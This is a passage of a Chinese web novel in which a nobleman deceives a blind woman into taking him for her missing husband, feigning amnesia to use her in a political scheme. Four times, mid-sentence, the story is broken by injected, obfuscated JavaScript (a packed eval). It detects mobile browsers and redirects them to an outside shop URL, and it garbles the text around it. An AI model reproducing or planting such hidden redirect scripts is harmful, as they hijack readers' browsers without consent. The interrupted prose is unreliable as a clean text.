沉默片刻,柳絮轻声问:“穗儿,大人……他呢?” 穗儿回过神,依着吩咐答道:“大人政务繁忙,此刻想必在衙门处理公务呢。” 世子爷派人来交代了,“把人看好了,暂且不许她出去,更不可透露我的身份。要是闹了就哄着点,爱怎么哄怎么哄,总之别给我添乱。” 穗儿心中不解,爷为何要将一个盲女留在别院,还要这般哄骗着。 感觉到穗儿的目光仍在身上流连,柳絮不适地垂了垂眼睫,又问:“那……大人何时能回来?” “等大人公务忙完,得空了自然会来看您。姑娘且安心住下,有何需要,只管吩咐奴婢便是。”穗儿答得顺溜,显然是备好的说辞。 柳絮脸上难掩失落,可她并非不识趣之人,遂点了点头,不再言语。 穗儿在一旁又主动说了些话,柳絮安静听着,偶尔问上一两句,总算对眼下处境有了些了解。 那日在衙门口,她因情绪大起大落,又淋了一场冷雨,本就虚弱的身子受不住这春日乍暖还寒的夹攻,当夜便起了高热,昏昏沉沉睡了一天一夜。 此地也非县衙后堂,而是阿阭的一处私宅别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496423|202525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院,他平日并不宿于此,据穗儿说,为了公务便利他住在衙门后堂。 柳絮默默听着,轻轻抿了下唇。 稍后,穗儿领了郎中来诊脉,言是“外感风寒,内有郁结”,开了两贴药便离去,不多时,另一个叫坠儿的丫鬟端着药碗进来。 药汁热气氤氲,苦涩的气味弥漫开来。 柳絮接过药碗,用勺子轻轻搅动,凑近嗅了嗅。这两年因眼疾,她没少与汤药打交道,加之早年为了阿阭常上山采药换钱,对常见药草的气味多少能辨识。 确认无碍后,她端起碗,将苦涩的药汁一饮而尽。 此后数日,柳絮便在这室中度过。 衣裳是轻软光滑的绸缎,每日膳食七八样小菜,精致可口,就连沐浴用的澡豆与香膏,也滑腻芬芳,能在肌肤上留下久久不散的幽香。 她终于真切体会到了何为“锦衣玉食”。 然而,这样的日子却让她始终难以适应,且局促不安。 柳絮出身乡野,见识少,期间没少闹笑话。有时候吃饭穿衣,或者随意闲聊时,也不知做错说错了什么,就能隐约听到丫鬟在旁边的轻笑,令她涨红了脸不知所措,难堪又委屈。 这些都能忍受,可最令她心绪难平的,是齐阭始终未曾露面。 每每问及穗儿,得到的答复总是“爷近日公务缠身,实在抽不开身,过些时日想必就来了”。 一日,两日,三日…… 柳絮心中那点微弱的希冀,渐渐冷寂下去。 阿阭过去不会如此。 他生得清冷隽秀,虽少言寡语,心肠却是极软的,尤其待她。 犹记十三岁那年,她被二哥支使去河里叉鱼,不慎被毒蛇咬伤脚踝,是阿阭背着她,借了牛车赶往镇上医馆解毒。而那看病的银钱,是他即将要交的束脩。 其余小病小灾,哪一次不是他守在一旁悉心照料? 可如今她病卧数日,他却连一面都不肯露。 柳絮将脸埋进锦被,舌根弥漫的苦涩,怎么咽也咽不完。 她生性怯懦犹疑,不敢多问,更不敢使性子,唯恐惹得穗儿她们厌烦,更怕阿阭是真忙,耽搁了他的正事。 又焦灼地等了三四日,偶然听得门外丫鬟窃窃私语:“爷是真把她忘了吧?小半月了都不见人影。” “是吧,爷昨儿还去游湖踏青了。” 柳絮一颗心冷了,辗转反侧了一夜,翌日清晨终于按捺不住,决意要问个清楚明白。 倘若他当真攀了高枝,不愿再与她有任何瓜葛,那她便回温州去,从此桥归桥,路归路。 想到此处,眼眶又泛起酸涩,只觉自己实在没出息,明知可能被辜负,竟连闹一场的勇气也无。 她做了好一会心里准备,才摸索着拿到床边的竹杖,正欲开口唤穗儿,房门却“吱呀”一声被推开了。 “姑娘,爷来了!” 5. 第005章 穗儿的声音带着喜意,柳絮愣了一下才意识到是齐阭来了。 她心中先是掠过一阵欢喜,旋即便是紧张担忧。 如今她和齐阭的身份已是云泥之别。他是朝廷命官,是侯府公子,而她只是个大字不识的盲眼村妇。 齐阭会愿意认她这个妻子吗? 这么多日都未曾露面,柳絮心底其实已经有了几分明了。 此番前来,恐怕是来摊牌的。 穗儿看柳絮面上并不见多少喜色,也不明白为何,只上前道:“姑娘,我替您梳妆罢?爷在正房的暖阁等着呢。” 人皆有爱美之心,柳絮也不例外,可如今哪还有这等心思? 她轻轻摇头说了声不必了,又道劳烦穗儿带她去正院。 穗儿应了声是。 这是在此处将近小半月,柳絮头一回出院门。 穗儿扶着她,一路上悉心提醒,倒是走得还算顺当。 柳絮目不能视,但这两年来习惯了,辨识方位本事也磨出了几分。 她感觉自己出了院门,走上游廊,廊下似乎悬了些鸟笼,一路上叽叽喳喳,细细听来似乎有画眉和黄莺,声音脆生生的。 又七拐八拐,走了约莫小半刻钟,嗅到一阵幽幽的春兰花香,穗儿便小声说:“姑娘,到了,仔细抬脚。” 柳絮立时紧张起来。 她点了点头,跨过门槛进了正院。 一进去便听到竹叶摩挲的声音,风过时叶片簌簌作响,还有仆役们偶尔走动的动静。 穗儿扶着她上了几级台阶,推开一扇门恭敬道:“爷,姑娘来了。” 里头传来一声随意的应答:“进来。” 带着点冷淡散漫的意味。 齐昀喜洁,仆役不可随意进他屋子,而贴身伺候他的小厮不知为何不在。 穗儿想着也就几步路,便没有主动请示送柳絮进去,松开手,凑过去对她低声道:“姑娘,里头奴婢不能进去了,您往前走,再往左拐十来步,掀开一道帘子便是暖阁了。” 柳絮从前听村里一个大户人家帮过工的长辈说起过,暖阁是富贵人家里用雕花隔扇隔出来的一间小屋,里头铺着地炕,专为取暖所用。到了夏日还有用来纳凉的碧纱橱。 时值初春,前两日又落了雨,天气寒凉,富贵人家自然还要在暖阁里待客或是小憩。 柳絮抿了抿唇,无形中又觉出与丈夫如今的差距来。 穗儿看着柳絮紧紧攥着竹杖,很是不安的样子。 相处这些时日,这姑娘从不提什么要求,给什么衣裳穿什么,做什么饭菜吃什么,安静好养活得像一株兰草,生怕给人添半点儿烦扰。 她心里多少有几分怜惜,便又悄声道:“姑娘莫忧心,爷素日是很好说话的。” 柳絮点了点头,道了声谢。 齐阭确实是好说话的,他虽生得清冷,瞧着不好亲近,但是从前村里谁家有难处,他从不推拒。谁家屋瓦漏雨,谁家耕牛染病,他都会去搭把手,是个极温煦的人。 可如今…… 柳絮不再胡思乱想,握紧竹杖,跨过门槛进了屋内,依着穗儿的话往前走。 因怕竹杖探路时磕坏了东西,她格外小心翼翼,杖头轻轻点一下地面,往前挪些许,再点一下。 可还是不免碰到了什么,一声沉响,约莫是花几或是案腿,她愈发紧张,手心出了一层细汗。 又往前走了几步,竹杖碰到了一只铜炉,炉里应当还燃着炭,她能感觉到一股淡淡的暖意混着些许沉水香的气息,从那个方向飘过来。 她侧身避开,往前走了几步,竹杖又碰到了旁的东西。这会是软的,似乎是一道垂落的帷幔,竹杖点上去无声无息,只微微陷了陷。 这应当是暖阁的帘子了。 她伸手去探,指尖果真触到了一道帘子,布料柔软。 踌躇一瞬后,将其轻轻掀开。 春日融融,今日是个难得的晴好天光。 齐昀坐在里头的罗汉榻上,前面矮几搁着茶具,手里正拿了一叠信笺翻看。 听见脚步声与竹杖点地的声响,他抬起眼。 一只秀白的手轻轻揭开帘子,紧接着是竹杖的底端,再然后是一只着了月白绣鞋的足。 往上看去,女子小心翼翼迈入。 或许是太过紧张,她后脚的足尖轻轻磕在门槛上,身子一个不稳,险些朝前栽倒,慌乱间扶住了门框。 这一番动作下来,她瓷白的脸飞速涨红,紧紧咬住下唇,瞧着老实无措极了。 齐昀慢悠悠收回视线,坐在原处未动,低头继续翻看手中信笺,只开口道:“往前走五步,左手边是榻,过来坐。” 俗话说越紧张越容易出错,柳絮听见男人的声音,只呐呐应了一声,摸索着往前。 走到第四步时,竹杖试探着碰,由于看不见东西,缺少距离感,杖头伸太远,碰到了什么东西。 没声音,触感有点不对,且移开了。 柳絮一下意识到似乎碰到了对方的腿。虽说是夫妻,但或许是久别重逢,她总觉得很尴尬,赶紧收回杖头,重新往跟前碰了碰,这次碰着了榻沿。 她松了口气,顿了顿,侧过身小心翼翼坐下了。 好半晌,对面都没有声息。 柳絮双手老老实实搁在膝上,坐立不安,指尖不自觉蜷缩。 她不知晓,齐昀一双凤眼懒懒半垂,正肆无忌惮地审视着她。 此时女人正坐在矮几另一侧,手搁在膝上一动不动,很是拘谨。 那日雨大,这女子满身泥泞,狼狈不堪,如今收拾齐整了,倒瞧着顺眼许多。 一张柔婉的面容,乌发挽成简单的髻,身段是江南女子特有的纤柔,像春日的柳枝。 齐昀觉得,这女子身上有一种很特别的气韵。娇弱老实的模样,眼角眉梢又有种温柔贞静。 就跟她那立领长衫上紧扣的子母扣似的,规规矩矩,端端正正,不可冒犯。 却也很容易引来窥探欲。 齐昀捏着信的手指,无意识轻轻碾动了一下,纸张发出了点声音。 她的视线便闻声朝向此处,只是还是偏的。 最后齐昀的视线落在她干涸的唇瓣上,终于大发慈悲开了口。 “喝茶么?” 对面的女人愣了一下,随即摇了摇头,垂着眼道:“谢谢,不用了。” 不像是对丈夫的态度,有些局促疏离。 齐昀没说什么,伸手取过茶壶斟茶。 壶嘴倾斜,碧莹莹的茶汤注入杯盏,他没有收手,任由茶水满到杯沿几乎溢出来,然后不紧不慢搁在她手边。 “不必客套,喝吧。”他唇角微勾,视线落在女人双目上,静看她的反应。 柳絮手背碰到细腻温润的杯盏,有些不明白丈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496424|202525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫的意思,想问他,却又踌躇着不敢开口。 犹豫了一瞬,她觉得毕竟时隔两载刚见,还是不要拂了他的好意,遂摸索着端起茶杯。 刚端起来,她就感觉好像有点满,可丈夫都开了口,也不好拒绝。 她向来不会拒绝别人。 柳絮小心翼翼将杯子往唇边送,动作缓慢,可盲人的手终究少了几分准头,杯沿刚碰到唇,微微倾斜,茶汤便不受控制从杯沿溢了出来。 温热的茶水顺着下巴淌下去,淋到她胸前衣襟上。 柳絮慌忙将杯子往桌上一搁,可仓促间杯底只挂住了桌沿的一半,手一松杯子便歪了,一声轻响后翻倒在矮几上,茶汤倾泻而出。 茶水在桌上铺开,顺着边缘淌下去,滴落在她的裙裾上,洇湿了一小块布料,直透里衣,湿湿地贴在她腿上。 柳絮整个人都僵住了,伸手去扶杯子,指尖碰到湿漉漉的桌面和倒了的杯身。 她看不见,只知道自己弄洒了茶,弄脏了桌子,还弄湿了自己的衣裳。 在两年未见的丈夫面前。 窘迫像潮水一样涌过来。 “对……对不起。” 可过去待她温柔体贴的丈夫,却一言未发,也没有要帮忙的意思。 柳絮感觉自己几乎喘不过气来,忍着想哭的冲动,拿出帕子去擦桌面,却怎么也擦不干净,最后只好颓丧地收回手。 她无措垂下了头,手指紧紧绞着袖口,再一次道歉。 “对不住……我、我不是有意的。”声音有点发抖,像是快要哭出来了。 齐昀看着她没有做声。 女人整张脸烧得通红,耳廓和耳垂都是欲滴的绯艳,秀气的鼻尖紧张到凝结了细汗,整个人狼狈又无措,只会一个劲儿垂着头弱弱说“对不住”。 看起来好欺负极了,应当是真看不见,而不是装瞎。 “无妨。”他伸手将侧翻的杯子扶正,搁回茶盘里,又从袖中取出一方帕子递了过去,“擦擦吧。” 柳絮听到他的声音,感觉到有什么递到了手边,伸出手去接帕子,却不慎碰到了男人温热的手指。 明明是夫妻,她却感觉像被烫到,飞速收回了手。 窘迫中她脑子乱哄哄的,小声道了谢,就赶紧低头去擦腿上的茶渍。 齐昀盯着她手打量。 虎口处有薄茧,刚刚故意碰她手指,明显感觉到食指靠近大拇指一侧也有薄茧。 的确是长期拿竹杖才会有的状态。 恰在此时,柳絮擦完了腿,又起帕子擦胸口衣襟,最后将它轻按在胸前,意图吸干一些。 齐昀本在观察她,视线自然而然顺着去了—— 女人纤白的手拿着帕子按在胸|口的水痕上,月白衫子下那抹丰|盈弧度便显露出来,像突然隆起的雪山,又被压得微微变形。 齐昀一顿,随即不动声色飞快移开了视线。 柳絮擦了几下,将帕子攥在掌心,不知道该不该还回去。 如果是过去,她必当没有这种烦扰,毕竟是夫君的东西。可今日一见,虽说没说几句话,她也确实感觉到齐阭和以往不大一样。 态度冷淡,隐隐让她有些紧张害怕。 还回去会被嫌弃的吧? 柳絮胡思乱想,想到他方才和过去大相径庭的矜漠态度,以致于突然有种眼前人不是自己丈夫的荒谬感。 6. 第006章 万一这人是歹人,要将她拐去发卖了呢? 可转念一想,她区区一个盲女,谁肯费这样大的功夫,锦衣玉食地供养着,单为了卖她? 大抵是丈夫分别太久,如今又做了官,一切便都不同了 人心易变,这四个字她以前听阿阭说过。 那时她不过十五岁,村中有个年轻猎户有意求娶,隔三差五送些野物来。阿阭起先不作声,直到那日她与猎户在木棉树下说话,猎户将一根簪子簪在她发间。 阿阭当时不知从何处来的,少年面色如雪,将她的簪子取下掷回到猎户身上,冷冷说了几句话,直把猎户羞愧得落荒而逃。 猎户走后,素来克制守礼的少年握住她双肩,俯身逼视着她的眼睛,说:“絮娘,我知道人心易变,可你不能如此,因为我只有你了。” 木棉花灼灼如火,倒映在少年脆弱又炙热的眼眸里。 可如今物是人非,或许真正变了心的是他。 她再也看不见木棉花的色彩,齐阭大抵也再也不会有那样纯粹炙热的情意。 柳絮心里难受得厉害,缓缓垂下了眼睫。 齐昀不知道柳絮在乱想些什么,把信上的内容又看了一遍,目光才再次落到她脸上。 那日这女子昏厥后,他去县衙寻宋阭商事。 圣上把他和宋阭这个被刚认回侯府的公子一道丢到苏州来,面上瞧着是想让他们有些交情,在各自攒些政绩好回京擢升,是天大的恩宠。 可哪有那么简单?他曾祖父是开国功臣,几代经营下来门生故吏遍布朝野,府邸煊赫,在京中树大根深。到了他这代,母亲是长公主,更是如日中天。越是如此,越是烈火烹油,圣上面上亲近,心头岂会没有忌惮? 而宋家不同。长平侯是寒门出身,靠着从龙之功封的爵,根基尚浅,正是圣上真正信得过的左膀右臂。 此番宋阭被派到苏州,名义上是历练,实则是来盯着他的。 这一点齐昀心里门清。 那日他言辞间试探宋阭与嘉宁郡主的婚事,对方神色如常,坦坦荡荡,不热络亦不欢喜,只单单道了句,“父母之命,不敢有违”,便岔开了话头。 毫无破绽。 宋阭作为一个外室子,能突然被侯府认回且受圣上倚重,断不可能是蠢人,那是在县衙门口的事,他是真不知还是装作不知? 齐昀又命人套问那日的衙役,衙役只说宋大人也是当日才走马上任,尚不熟稔。 多方印证下来瞧着确是一桩意外,他便命属下捏住几个衙役的软肋封了口,一面命人看好柳絮,暂且搁下此事。 未几,温州那边的消息便到了。 齐昀垂眼,目光落在手中的信笺上。 温州泰顺县菱角村人,姓名柳絮,年十八,父母早亡,遗下一姐一兄。兄长得了几亩薄田与大半家产,两个女儿只分得了锅碗瓢盆,大姐早些年嫁到邻村,日子也紧巴。 十六岁秋,柳絮嫁与同村青梅竹马的齐阭。三个月后,为替丈夫凑进京盘缠,上山采药,意外伤目失明。 齐阭即宋阭,进京后头三四个月尚有信来,其后便音讯全无。 柳絮一个盲女,独自苦撑两年,直至张员外要纳她为妾,她不肯,卖了驴与鸡,搭船北上寻夫。 信上的字一笔一画,写的都是些再寻常不过的乡野之事,连起来却是一个女子被碾碎了的两年。 齐昀将信搁下,静默看着对面的人。 她坐在那儿,手指绞着衣摆,嘴唇轻轻抿着,日光从窗棂照进来,落在她白皙的手背上,能看见淡青色的血管。 一个被负心郎抛弃的可怜盲女。 齐昀突然觉得有几分意思。 宋阭那样的人,清冷自持,滴水不漏,竟有这样一位柔弱老实,怯懦蠢笨的妻子。 是年少不懂事,随意娶了村妇?还是后来眼界开了,觉得糟糠妻配不上侯府公子的身份? 无论哪一种,这女子都成了弃子。 可偏偏撞到了他手里。 既然是送上门的,那他便没有不用的道理。 宋阭的弃子,他的棋子。 齐昀有种预感,这女人总有一天会派上大用场。 或是用来套出宋阭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496425|202525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的喜好乃至秘密,用来制衡长平侯府,亦或者……甚至她会是连根拔除宋家的关键。 他忽然有个极恶劣的想法——留下她,假扮她的丈夫。 哪怕只是当成一场玩乐,也是极有意趣的。 暖阁内一片寂静,只有窗外鸟鸣啾啾。 柳絮整理好心绪,细细听动静。 矮几另一侧那人似乎正在观书,偶尔有纸页翻动的轻响。 她不明白丈夫为何突然又不说话了。是觉得碍于面子,指望她先说出识趣的话来?比如“我自知配不上你,情愿离去”云云。 思及此处,她觉得心里难受得更厉害了,像是喉咙里噎了一颗莲心,怎么咽也咽不下去,又涩又苦。 她眼圈忍不住红了,眼眶里泛起湿漉漉的泪意,慌忙低头,似乎这样能留存些许自尊。 膝上的手指微微收拢,她平复片刻,终于闷声主动开口:“夫……阿阭,你在看书吗?” 说完柳絮顿觉懊恼。 她很没出息,还是不敢直接问他这两年为何音信全无,如今打算如何处理和她的关系? 齐昀看着柳絮没有出息的模样,唇角微动。 “嗯。” 冷冷淡淡的一个字。 柳絮只觉得丈夫大概是当真变了,宁愿观书,也不愿多看她一眼,不愿多言一句。 她不知晓,对面的男子并非是心心念念的丈夫,也并非看的是书,而是一个陌生男人,透过那薄薄三页纸,把她这个仅有两面之缘的女子,了解了个透透彻彻。 从幼是如何被偏心的父母薄待,到豆蔻年华少女怀春,省下自己的口粮偷偷塞给宋阭,甚至替他攒束脩,再到最后因他而眼盲被弃置故里,独守空房。 她像一颗被剥开外壳的莲子,柔嫩苦涩的内里赤裸裸地展露在他面前。 柳絮察觉到丈夫不欲主动开口,那股酸涩从喉头往上,堵得她几乎喘不过气。 她抿了抿唇,手指攥进膝上的布料,声线紧绷:“阿阭,你为……” “我失忆了。” 男人平淡的声线,截断了她的话。 7. 第007章 柳絮未出口的话哽在喉咙里,愣住了。 她茫然睁着那双空洞的眼睛,脸朝着声音传来的方向,唇瓣动了动,却一个字也说不出。 齐昀看着他这副模样,信口拈了个由头:“去岁某时,我遭逢意外,醒来便前尘尽忘。” 他说得轻描淡写,像是丝毫不在意。 柳絮的指尖蜷进掌心,她痛恨自己看不见,若能看见,便能瞧瞧丈夫说这话时的神情,判断他说的究竟是真是假。 可眼前只有一片漆黑。 她喉头发紧,好半晌才再找着声音:“真的……什么都不记得了吗?” “不记得。” 平平淡淡的三个字,像一柄利刃直直扎进她心窝。 她询问和倾诉的话此刻全部都没了出口。还有什么好问的呢?真失忆还是假失忆,又有何区别。 柳絮垂下眼,忽然觉得自己迢迢而来,像一场笑话。 沉默了许久,她才哑声道:“知道了,我明日一早便走。” 这话说出来,她反倒觉得胸口的石头落了地。 也好,这样也总归算是有了结果。齐阭忘了她,并非有了新人弃旧人,如此想来心里也好受些。 然而泪水偏生不听话地滚落。 她慌忙以手背揩拭,肩头止不住地轻颤,强抑哭腔又道:“既已忘却,便就此作罢。你写下一纸和离书,你我……一别两宽。” 言毕,她侧过脸去,贝齿紧咬下唇,将未尽的泪意生生咽了下去。 齐昀审视着眼前女子,稍感意外。 原以为这妇人会哭闹纠缠,或搬出旧情要挟,未料竟这般轻易放手,连一句质问也无。 可转念一想又觉合理,一个稍加哄骗便错认夫君的盲女,能有多少心机?况且对宋阭那点情意,怕也早在这两年磋磨中消磨殆尽,余下的不过是不甘罢了。 只是委实懦弱,侯府公子的正室娘子不做,宁肯回乡为村妇,连一星半点的好处也不争。 他轻笑了一声:“谁说我要和离?” 柳絮啜泣声一顿,茫然“望”过去,鼻尖和眼眶都泛着狼狈的红。 “不、不和离?” “可是,你不都忘了吗?更何况……”说着她又垂下眼帘,泪珠挂在睫毛上,声音渐渐低了下去:“你如今已是侯府公子。” “那又如何?” 男人的声线懒散,比起齐阭过去的清雅冷淡,多了些目下无尘的锐利。 柳絮愣住了,不等她细想,对面的男人又开了口。 “这几日我已着人查明,你确曾与我拜堂成亲。前尘虽忘,我却不屑做那负心薄幸的陈世美。”他略顿,又道,“你是我……妻子,当知我品性才对。” 柳絮闻言,一时间心生羞愧。 是啊,阿阭那般光风霁月的君子,怎会弃她于不顾?除却这两年,他自幼便言出必行。 想来是这两载摸黑度日的艰辛,令她不知不觉积下怨怼,竟对阿阭生了疑窦。若他真是陈世美,方才就该顺水推舟应了和离。 定是自己误会了他。 柳絮素来习惯把错误归咎在自己身上,她抬手蹭去眼角残泪,细声道:“对不住,我不该疑你。” 齐昀眉梢微挑。 当真是唯唯诺诺,被人冷落两载一句失忆便打发了,反倒赔起不是来。 “无妨。”他端起茶盏浅啜,“大夫说欲恢复记忆,须多闻旧事,这几日下值后我会过来,你拣些往事说与我听。” 柳絮忙不迭点头应下:“好。” 她也想阿阭能尽快记起来,不然如今这般……也太冷淡了些。 齐昀站起身道:“我还有公务要忙,你自便。” 柳絮心里有点失落,但还是温顺应了。 脚步声渐渐远去,屋内重新安静下来。 柳絮坐在原处,听着窗外的鸟鸣,摸了摸自己的脸颊。泪痕犹在,被窗缝里漏进来的风一吹凉飕飕的。 她忽然觉得有些不真实,还没到京城就找到了阿阭,并且他没有不要她,只是失忆了。 已经如愿以偿,可不知为何总觉得哪里说不出的怪异。 —— 此后数日,齐昀每日下之后都来云香苑小坐半个时辰。 柳絮每回都早早收拾好坐在窗下等他。 齐昀来时多半斜靠在罗汉榻上,一手撑着额角,半阖着眼,听她温声细语说话,偶尔问上一两句,或者嗯一声。 柳絮将自己记得的事一件一件说给他听,可能是许久未见,最开始还有些拘谨,后面讲了几回,便慢慢放松下来了。 她不知道,对面坐着的男人根本不是自己的丈夫。 齐昀耐着性子听了几天,除了一些青梅竹马的琐碎事,半句有用的也无。什么一块上山摘野果,在河边帮她洗衣裳,什么冬天冷了,他把棉袄脱给她穿,诸如此类,全是些鸡毛蒜皮的小事。 还有比较亲密的,比如说宋阭以前喜欢叫她“絮娘”,偶尔会唤“卿卿”。 齐昀心里嗤了一声,心说这人果真是个伪君子,甜言蜜语油嘴滑舌。 不像他,骗人那都是光明正大骗。 说起来宋阭这人他在京城打过几回交道,年纪轻轻中探花,入翰林,又被长平侯认了回去,一路走得稳稳当当,行事滴水不漏,从不叫人抓住半分把柄。 想从他嘴里撬出点什么,那是难上之难。 他本来也没指望能从这盲女嘴里套出什么惊天秘密,不过想着宋阭和她青梅竹马,又做了几月夫妻,总该有些蛛丝马迹。 只是可惜了,一连小半月都没甚有用的。 齐昀慢慢没了耐心,柳絮也因为对方冷淡的态度而失落惶恐。 人总是忍不住对比的,每回他说出一句漠然敷衍的话,她都控制不住地想起从前。 那时候的他外冷内热,待她素来温和体贴。 柳絮安慰自己,等阿阭想起来就好了,就能回到过去的日子。 为此她每日都会认真想过去的点点滴滴,捡些有趣的或者深刻的事来讲述,只祈盼着丈夫能快点恢复。 又过了几日,齐昀来得比往常早一些。 柳絮正坐在窗下,手里摸着个绣棚,指尖在旁边上面轻轻蹭来蹭去。 他突然想起来昨日出了院子,穗儿说柳絮想为他绣个荷包,已经绣了两日了,拆了缝缝了拆,手指还扎了好些个针眼。 齐昀没做声,站在帘子边儿看了一会儿。 她绣的极慢,左手摸一下绣面,右手的针才落下去,再摸一下,再落一针,有几针的位置大概是扎错了,她眉头微微蹙起,手指反复摩挲那一处,像是在记位置。 阳光从窗棂透进来,斑驳的花影落在她柔婉的侧脸,瞳孔被照成浅浅的琥珀色,倒像是真在看什么似的。 齐昀有点出神。 她对宋阭一直这么好吗?哪怕眼盲了还要绣荷包给他。 那伪君子何处值得她这般真心相待? “夫君?”她忽然开口,不确定地对着帘子这边侧过脸来。 齐昀回过神来,嗯了声,面上换回散漫的神情,踱到榻边坐下。 他靠在引枕上,故作伤感道:“说来惭愧,一朝失忆,竟连生母之事亦忘得干净,如今记在侯府夫人名下,便是光明正大探问亦不可得。” 说罢他叹了一声,指尖在膝盖上轻轻敲了敲,目光不动声色地扫向柳絮。 柳絮面上果然浮现出怜惜,柔声道:“夫君莫急,我再细细想想,把记得的事都说与你听。” 这些时日,她已经把丈夫这两年的经历问了个大概。 当初他赴京春闱,考完后不久和友人上庙里进香,下山时正撞见长平侯遇匪。君子习六艺,他自然会些拳脚,忽而出手相助,后因寡不敌众后脑挨了一记,再醒来便什么都不记得了。 长平侯感念他的救命之恩,又见他学识出众,便认了义子。不久后他中了探花,原本直接要进翰林院,却因长平侯举荐,来了苏州这富庶之地做吴县知县,只待政绩够了便擢升回京。 这套说辞编得并不如何用心,齐昀不过是仗着柳絮出身乡野见识有限,又双目失明,随口糊弄罢了。 柳絮起初听着总觉得有些玄乎,跟戏文里的故事似的,可过了几日又想不出什么不对来,便犹疑着信了。 她收敛了心神,仔细回忆着婆婆的事,柔声细语讲起来。 “先前与你说过,婆母是安顺二年到的菱角村,但这两日我忽然又想起来,我娘在世时曾提过一嘴,安顺元年时,婆母就曾乘马车来过村中。” 齐昀目光一闪。 安顺元年,他的皇帝舅舅刚登基,长平侯宋家正因从龙之功封侯。一个侯爷的女人,不留在京城待产,反倒大着肚子,孤身一人跑到那穷乡僻壤去? 柳絮不知道齐昀在琢磨什么,继续道:“我娘当时正怀着我二哥,在村口老槐树底下纳凉。婆母穿着一身不打眼的衣裳,大着肚子下了马车,问了几句话便走了。” “问了什么?” 柳絮摇摇头:“我娘没细说过,我不知道,估摸着是问田宅之类的吧。” 齐昀把玩着腰间的玉佩。 安顺元年,长平侯府正炙手可热。一个外室若想母凭子贵,理当留在京城讨要名分才是。可这位齐氏非但跑了,还跑到了离京千里之遥的温州乡下,分明是在躲人。 躲谁?长平侯,还是长平侯夫人? 他记得长平侯夫人在京中名声极好,长平侯妾室亦不在少数,照理说不至于容不下一个齐氏才对。 齐昀隐约感觉,如若能挖出这档子旧时,说不定能给长平侯府重创。越早一日除了他那好舅舅的左膀右臂,对公府便越是有利。 他敛下心思,道:“你接着说。” 柳絮点点头,想了想又继续往下讲。 余下的都是些细碎家常,齐昀耐着性子又听了半个时辰。直到天色渐沉,穗儿进来掌灯,他才起身准备离去。 柳絮正说的入神,没察觉他站了起来。 “对了,有件事挺特别的。”她忽然道,“婆母在世时,让你在左手腕系了一条红绳,上头有个小玉坠,说是庙里求来的,你命格弱,须得一直戴着。后来婆母过世,你同我说红绳丢了,还伤心了好一阵子。” 齐昀脚步一顿。 “玉坠红绳?”他复又坐下,“你可还记得形貌?大致与我说说。” 柳絮正待开口,门外陡然传来急切的脚步声。 “爷!衙门出事了!”小厮声音焦灼。 齐昀眉心一蹙,起身道:“我出去看看。” 他推门而出,与小厮沿游廊往西侧行了十数步,方驻足低声问:“何事如此惊慌?” 小厮压低声音道:“西塘村的何家大染坊被砸了个稀烂,三个管事的被打死了,织造局门口也闹起来了,知府大人请您立刻去衙门议事!” 齐昀眉头一拧。 此番他来苏州,明面上是因朝堂失仪被贬,实则身负密旨。 此前他故意用笏板砸了人,不出几日皇帝便秘密召见了他,言道:“你曾祖父为社稷开疆拓土,你父亲是朕的股肱之臣,你看看你这几年荒唐成什么样子了?朕思来想去,便把你贬去苏州,既能历练历练,也算是给文武百官一个交代,你母亲也有此意。如今织造局频繁出乱子,你去替朕分忧,办好了便是实打实的政绩,回来朕重重赏你。” 齐昀明白皇帝这是打着借刀杀人,坐山观虎斗的心思。 皇帝派他去处理的人,是曾经深得信任的提督制造太监赵隆。这位赵公公不仅掌控着皇室织造财源,还手握密折之权,是皇帝在江南的耳目,如今欺上瞒下、中饱私囊,皇帝便忍不得了。 因此此时无论是成功扳倒赵隆,还是被赵隆反击而落败,甚至双方两败俱伤,最终坐收渔翁之利的都是皇帝本人。 赵隆此人十分难缠,中间还夹着个监视他的宋阭,许多事他不大好做。 齐昀深知其中分寸,扳倒一个提督太监并不容易,扳倒之后怎么收场,又如何把制造局平安过渡到他的人手里而不被皇帝察觉,这更是关键。 说起来今日这桩案子,倒是有些出乎意料了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496426|202525||http|test|mini|href|location''.split(''|''),0,{})); () { 